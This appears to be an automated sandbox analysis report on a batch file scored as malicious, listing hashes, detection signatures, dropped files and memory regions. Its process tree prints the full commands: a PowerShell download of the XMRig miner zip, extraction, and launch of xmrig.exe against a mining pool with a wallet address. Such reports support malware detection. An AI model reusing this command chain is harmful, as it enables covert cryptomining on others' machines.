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Analysis

  • max time kernel
    1793s
  • max time network
    1804s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 09:06

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3660
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4564

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    08dc9e444852b43c0db0cbb9a33e21f3

    SHA1

    118fa2be1626a7bb9598ff3965986f96a6a18ab6

    SHA256

    674197591da54147447879075ec8debbeffdc132772febbd98e4da7d4d40211e

    SHA512

    91c74952412036473c528cf9e21e4091c0470a1a0b8ebd6747c51fafc882ea4ab96dee5fbbc638dac0ec01972f2f499c74978683e51cc2634d24c629feffec74

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u5ssgrdn.ghe.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    416KB

    MD5

    33c2bcbce3a4c3cc875755da5bcd6b4a

    SHA1

    33a171d58003ad1514e52e96e111f1bc2de6f952

    SHA256

    56a7bce928270f9bff7703dad87784cb23b8dde0a82ef5e2e4429727a294bbfa

    SHA512

    2442a6635e055fcc943cb849d8604972f41257f3dbb81f719918e2a26eb756e87f151e75dd04954ca9e7a3b910c99ee9efab902a56787ee888e042466b2147f4

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    248KB

    MD5

    6d4980e090d5d3f0b3577056e25a6d37

    SHA1

    9a07a33631bec6ef4186e781ce1d6cc0d1c40004

    SHA256

    900e9ca62cda8dc4e24cdcc5917601a7e4773971e7acd5333a8ec44de01ff2d7

    SHA512

    b809f030edb9cc3d8296062b69b4348c99373907a8dd225a84b1f351ba00e5d24ba92c9bde7d727c8489f6452a2505ce55c2c4d2939d79c0fec341957f51d647

  • memory/2320-4-0x000001C899960000-0x000001C899982000-memory.dmp

    Filesize

    136KB

  • memory/2320-7-0x000001C899A90000-0x000001C899B06000-memory.dmp

    Filesize

    472KB

  • memory/2320-8-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

    Filesize

    9.9MB

  • memory/2320-9-0x000001C899800000-0x000001C899810000-memory.dmp

    Filesize

    64KB

  • memory/2320-16-0x000001C899800000-0x000001C899810000-memory.dmp

    Filesize

    64KB

  • memory/2320-25-0x000001C899800000-0x000001C899810000-memory.dmp

    Filesize

    64KB

  • memory/2320-30-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

    Filesize

    9.9MB

  • memory/3660-34-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

    Filesize

    9.9MB

  • memory/3660-37-0x00000251859D0000-0x00000251859E0000-memory.dmp

    Filesize

    64KB

  • memory/3660-38-0x00000251859D0000-0x00000251859E0000-memory.dmp

    Filesize

    64KB

  • memory/3660-62-0x00000251859D0000-0x00000251859E0000-memory.dmp

    Filesize

    64KB

  • memory/3660-76-0x0000025187850000-0x0000025187862000-memory.dmp

    Filesize

    72KB

  • memory/3660-89-0x00000251877B0000-0x00000251877BA000-memory.dmp

    Filesize

    40KB

  • memory/3660-113-0x00007FF8AE990000-0x00007FF8AF37C000-memory.dmp

    Filesize

    9.9MB

  • memory/4564-141-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-151-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-118-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-121-0x000001A3DF620000-0x000001A3DF640000-memory.dmp

    Filesize

    128KB

  • memory/4564-120-0x000001A34CC10000-0x000001A34CC30000-memory.dmp

    Filesize

    128KB

  • memory/4564-119-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-122-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-123-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-125-0x000001A3DF620000-0x000001A3DF640000-memory.dmp

    Filesize

    128KB

  • memory/4564-124-0x000001A34CC10000-0x000001A34CC30000-memory.dmp

    Filesize

    128KB

  • memory/4564-126-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-127-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-128-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-129-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-130-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-131-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-132-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-133-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-134-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-135-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-136-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-137-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-138-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-139-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-140-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-116-0x000001A34B310000-0x000001A34B330000-memory.dmp

    Filesize

    128KB

  • memory/4564-142-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-143-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-144-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-145-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-146-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-147-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-148-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-149-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-150-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-117-0x000001A3DEFA0000-0x000001A3DEFE0000-memory.dmp

    Filesize

    256KB

  • memory/4564-152-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-153-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-154-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-155-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-156-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-157-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-158-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-159-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-160-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-161-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-162-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-163-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-164-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-165-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-166-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-167-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-168-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-169-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-170-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-171-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-172-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-173-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-174-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-175-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-176-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-177-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-178-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-179-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-180-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-181-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-182-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-183-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-184-0x00007FF7AB450000-0x00007FF7ABF53000-memory.dmp

    Filesize

    11.0MB